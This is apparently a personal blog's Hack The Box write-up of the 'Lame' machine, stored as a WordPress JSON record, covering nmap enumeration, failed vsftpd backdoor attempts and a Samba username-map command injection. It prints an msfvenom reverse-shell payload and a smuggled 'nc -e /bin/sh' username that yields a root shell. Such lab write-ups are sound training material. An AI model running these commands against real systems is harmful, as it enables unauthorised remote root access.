{"id":120,"date":"2022-09-21T21:02:50","date_gmt":"2022-09-22T01:02:50","guid":{"rendered":"https:\/\/mikebabineau.me\/?p=120"},"modified":"2022-09-21T21:05:34","modified_gmt":"2022-09-22T01:05:34","slug":"htb-lame-machine-writeup","status":"publish","type":"post","link":"https:\/\/mikebabineau.me\/index.php\/2022\/09\/21\/htb-lame-machine-writeup\/","title":{"rendered":"HTB &#8220;lame&#8221; Machine Writeup"},"content":{"rendered":"<h1>HTB &#8220;Lame&#8221; Writeup<\/h1>\n<p>This is my writeup for the <em>Lame<\/em> machine in Hackthebox<\/p>\n<h1>Enumeration<\/h1>\n<p>As usual, we will start with an nmap scan to see what we&#8217;re working with:<\/p>\n<pre><code class=\"language-shell\">nmap scan report for 10.10.10.3\nHost is up (0.035s latency).\nNot shown: 65530 filtered tcp ports (no-response)\nPORT     STATE SERVICE     VERSION\n21\/tcp   open  ftp         vsftpd 2.3.4\n|_ftp-anon: Anonymous FTP login allowed (FTP code 230)\n| ftp-syst: \n|   STAT: \n| FTP server status:\n|      Connected to 10.10.14.2\n|      Logged in as ftp\n|      TYPE: ASCII\n|      No session bandwidth limit\n|      Session timeout in seconds is 300\n|      Control connection is plain text\n|      Data connections will be plain text\n|      vsFTPd 2.3.4 - secure, fast, stable\n|_End of status\n22\/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)\n| ssh-hostkey: \n|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)\n|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)\n139\/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)\n445\/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)\n3632\/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))\nService Info: OSs: Unix, Linux; CPE: cpe:\/o:linux:linux_kernel\n\nHost script results:\n| smb-security-mode: \n|   account_used: guest\n|   authentication_level: user\n|   challenge_response: supported\n|_  message_signing: disabled (dangerous, but default)\n|_smb2-time: Protocol negotiation failed (SMB2)\n| smb-os-discovery: \n|   OS: Unix (Samba 3.0.20-Debian)\n|   Computer name: lame\n|   NetBIOS computer name: \n|   Domain name: hackthebox.gr\n|   FQDN: lame.hackthebox.gr\n|_  System time: 2022-09-15T19:26:03-04:00\n|_clock-skew: mean: 2h00m22s, deviation: 2h49m45s, median: 20s\n\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 157.32 seconds<\/code><\/pre>\n<p>Looks like we&#8217;re working with a server hosting ftp as well as smb. No webserver! A change from the Starting Point machines.<br \/>\nLet&#8217;s start with some ftp fuzzing, since we have the version thanks to the nmap scripts: <strong>vsftp 2.3.4<\/strong><\/p>\n<h2>FTP Fuzzing<\/h2>\n<p>Jumping into the ftp server as anonymous gives us nothing, looks empty. We also try the <em>ftp<\/em> user our nmap scripts pulled for us, but the directory is also empty.<\/p>\n<p>Searching the web for exploits for <strong>vsftp 2.3.4<\/strong>, we see <a href=\"https:\/\/www.rapid7.com\/db\/modules\/exploit\/unix\/ftp\/vsftpd_234_backdoor\/\">our friends at Rapid7 have created a metasploit module<\/a> for this. It looks like it exploits a malicious backdoor that was briefly in the specified version of vsftp. After setting the RHOST option for this exploit, we find it indeed doesn&#8217;t work.<\/p>\n<p>Searching a bit more, we find <a href=\"https:\/\/www.exploit-db.com\/exploits\/49757\">an exploit on exploitdb with a possible path to a shell<\/a>. Although it uses the same exploit, it may be worth trying. But it doesn&#8217;t work either.<\/p>\n<p>OK, maybe this box isn&#8217;t vulnerable to <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2011-2523\">CVE-2011-2523<\/a>. Let&#8217;s create a payload using msf venom and see if we can upload it to the FTP server for future usage using this command:<\/p>\n<p><code>msfvenom -p linux\/x64\/shell_reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f elf &gt; r.elf<\/code><\/p>\n<p>When we try to login to the ftp server as the ftp user and send the file using the <code>put<\/code> command, it fails:<br \/>\n<code>553 Could not create file.<\/code><br \/>\nProbably this user doesn&#8217;t have permissions to upload files.<\/p>\n<p>Strange that the FTP seems to be open for no reason. Maybe we are missing something, or maybe it&#8217;s a red herring. Either way, let&#8217;s move onto some SMB exploitation.<\/p>\n<h2>SMB Tricks<\/h2>\n<p>There are two open samba ports on the machine. Let&#8217;s focus on the one we have an exact version for, since this will make it easier to find an exploit. Some googling points us to a good candidate <a href=\"https:\/\/0x00sec.org\/t\/cvexplained-cve-2007-2447\/22748\">here<\/a>.<\/p>\n<p>To summarize, if we enter the username &#8220;\/=`nohup nc [SOMETHING], we can execute commands we input instead of SOMETHING.<\/p>\n<p>First, let&#8217;s start a netcat listener:<\/p>\n<pre><code class=\"language-shell\">$ sudo nc -nvlp 4444<\/code><\/pre>\n<p>Now let&#8217;s pass our payload as the username using <code>smbclient<\/code>. The command &#8216;hangs&#8217;, which could indicate good news:<\/p>\n<pre><code class=\"language-shell\">$ smbclient \\\\10.10.10.3\\ -p=445 -U=\"\/=`nohup nc -e \/bin\/sh 10.10.14.9 4444`\"\nnohup: ignoring input and redirecting stderr to stdout\n<\/code><\/pre>\n<p><em>Note: <code>smbclient<\/code> requires that every time you need one backslash, you actually need to put two. I think it&#8217;s related to escape characters. Hence the seemingly-excessive backslashes in the command. I learned this the hard way doing a starting point machine that required some SMB enumeration<\/em><\/p>\n<p>Let&#8217;s jump over to our netcat listener to see if it worked:<\/p>\n<pre><code class=\"language-shell\">listening on [any] 4444 ...\nconnect to [10.10.14.9] from (UNKNOWN) [10.10.14.9] 52988<\/code><\/pre>\n<p>Congratulations, we got a connection&#8230;<br \/>\n&#8230;from ourselves. Queue the DJ Khalid meme.<\/p>\n<p>A bit of googling reveals that our machine is actually executing the command inside the backticks as it reads the command, which explains the message we get regarding <code>stderr<\/code> and <code>stdout<\/code> after we execute.<\/p>\n<p>Let&#8217;s try using single quotes instead to pass it as a string so our machine doesn&#8217;t execute the command-in-a-command:<\/p>\n<pre><code class=\"language-shell\">$ smbclient \\\\10.10.10.3\\ -p=445 -U='\/=`nohup nc -e \/bin\/sh 10.10.14.9 4444`'\nPassword for [=`NOHUP NC -E bin\/sh 10.10.14.9 4444`]:\n<\/code><\/pre>\n<p>It works, sort of. We get a password prompt for the user from the SMB server. But reading through it we can see the capitalization is all messed up, and some of the slashes are incorrect.<\/p>\n<p>Doing some googling leads us to <a href=\"https:\/\/security.stackexchange.com\/questions\/177083\/reverse-connection-metasploitable-2-kali-linux-samba-3-x-without-metasploit\">an interesting post on Stack Exchange<\/a> about this exploit, where they get it working by connecting to the SMB without logging in, and then passing the username a different way (it also implies there&#8217;s a metasploit module that can do this, but let&#8217;s do it ourselves instead):<\/p>\n<ol>\n<li>First run <code>smbclient -L<\/code> to get a list of shares<\/li>\n<li>Then, pass the share to try like this:\n<pre><code class=\"language-shell\">$ smbclient \/\/[ip]\/[share]<\/code><\/pre>\n<\/li>\n<li>This gets you to the smb command line where you can use the <code>logon<\/code> command to enter the payload properly.<\/li>\n<\/ol>\n<p>Let&#8217;s give it a shot.<\/p>\n<pre><code class=\"language-shell\">\u250c\u2500\u2500(kefka\u327fkali)-[~\/htb\/lame]\n\u2514\u2500$ smbclient -L 10.10.10.3                                                       \nPassword for [WORKGROUPkefka]:\nAnonymous login successful\n\n        Sharename       Type      Comment\n        ---------       ----      -------\n        print$          Disk      Printer Drivers\n        tmp             Disk      oh noes!\n        opt             Disk      \n        IPC$            IPC       IPC Service (lame server (Samba 3.0.20-Debian))\n        ADMIN$          IPC       IPC Service (lame server (Samba 3.0.20-Debian))\nReconnecting with SMB1 for workgroup listing.\nAnonymous login successful\n\n        Server               Comment\n        ---------            -------\n\n        Workgroup            Master\n        ---------            -------\n        WORKGROUP            LAME<\/code><\/pre>\n<p>The <code>tmp<\/code> share looks interesting&#8230;<\/p>\n<pre><code class=\"language-shell\">\u250c\u2500\u2500(kefka\u327fkali)-[~\/htb\/lame]\n\u2514\u2500$ smbclient \/\/10.10.10.3\/tmp\nPassword for [WORKGROUPkefka]:\nAnonymous login successful\nTry \"help\" to get a list of possible commands.\nsmb: &gt; logon\nlogon &lt;username&gt; [&lt;password&gt;]\nsmb: &gt; logon \/=`nohup nc -e \/bin\/sh 10.10.14.9 4444`\nsession setup failed: NT_STATUS_LOGON_FAILURE\nsmb: &gt; logon \"\/=`nohup nc -e \/bin\/sh 10.10.14.9 4444`\"\nPassword: \n<\/code><\/pre>\n<p>My first attempt failed because I forgot to enclose the username in quotes. But the second one? Let&#8217;s take a look at our netcat listener&#8230;<\/p>\n<pre><code class=\"language-shell\">\u250c\u2500\u2500(kefka\u327fkali)-[~]\n\u2514\u2500$ sudo nc -nvlp 4444\nlistening on [any] 4444 ...\nconnect to [10.10.14.9] from (UNKNOWN) [10.10.10.3] 49817\nwhoami\nroot\npython -c 'import pty; pty.spawn(\"\/bin\/bash\")'\nroot@lame:\/# <\/code><\/pre>\n<p>BOOM! You can see here I invoke python to get a more stable shell as well.<\/p>\n<p>We navigate to the root directory and see the <code>root.txt<\/code> file, which contains our user flag.<br \/>\nWe enter it in HTB and the machine isn&#8217;t marked as completed yet. There must be more flags!<\/p>\n<p>We navigate to <code>\/home\/<\/code> and find a few more users there but only one, the <code>makis<\/code> user, has a flag. We submit that and get the matrix rating for the machine. Machine pwned!<\/p>\n<hr>\n<h2>Final Thoughts<\/h2>\n<p>A great exercise in CVE enumeration based on version numbers. The vsftpd 2.3.4 vulnerability doesn&#8217;t work but in this instance, and I was curious why. Looking <a href=\"https:\/\/0xdf.gitlab.io\/2020\/04\/07\/htb-lame.html\">at this very excellent blog<\/a> gives some insight into that, it looks like the firewall is blocking the listener. They also get into an entirely different path to pwning this machine than what I found starting at the user level and escalating privileges! A great read.<\/p>\n<p>That&#8217;s all for today, folks.<\/p>\n<p>~Kefka<\/p>\n","protected":false},"excerpt":{"rendered":"<p>HTB &#8220;Lame&#8221; Writeup This is my writeup for the Lame machine in Hackthebox Enumeration As usual, we will start with an nmap scan to see what we&#8217;re working with: nmap scan report for 10.10.10.3 Host is up (0.035s latency). Not shown: 65530 filtered tcp ports (no-response) PORT STATE SERVICE VERSION [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":122,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[9],"tags":[10,5,7,6,12],"class_list":["post-120","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-htb-writeups","tag-cyber","tag-ethicalhacking","tag-fun","tag-hackthebox-2","tag-writeup"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/mikebabineau.me\/wp-content\/uploads\/2022\/09\/htbpwnd.png","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/mikebabineau.me\/index.php\/wp-json\/wp\/v2\/posts\/120","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/mikebabineau.me\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mikebabineau.me\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mikebabineau.me\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/mikebabineau.me\/index.php\/wp-json\/wp\/v2\/comments?post=120"}],"version-history":[{"count":3,"href":"https:\/\/mikebabineau.me\/index.php\/wp-json\/wp\/v2\/posts\/120\/revisions"}],"predecessor-version":[{"id":124,"href":"https:\/\/mikebabineau.me\/index.php\/wp-json\/wp\/v2\/posts\/120\/revisions\/124"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/mikebabineau.me\/index.php\/wp-json\/wp\/v2\/media\/122"}],"wp:attachment":[{"href":"https:\/\/mikebabineau.me\/index.php\/wp-json\/wp\/v2\/media?parent=120"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mikebabineau.me\/index.php\/wp-json\/wp\/v2\/categories?post=120"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mikebabineau.me\/index.php\/wp-json\/wp\/v2\/tags?post=120"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}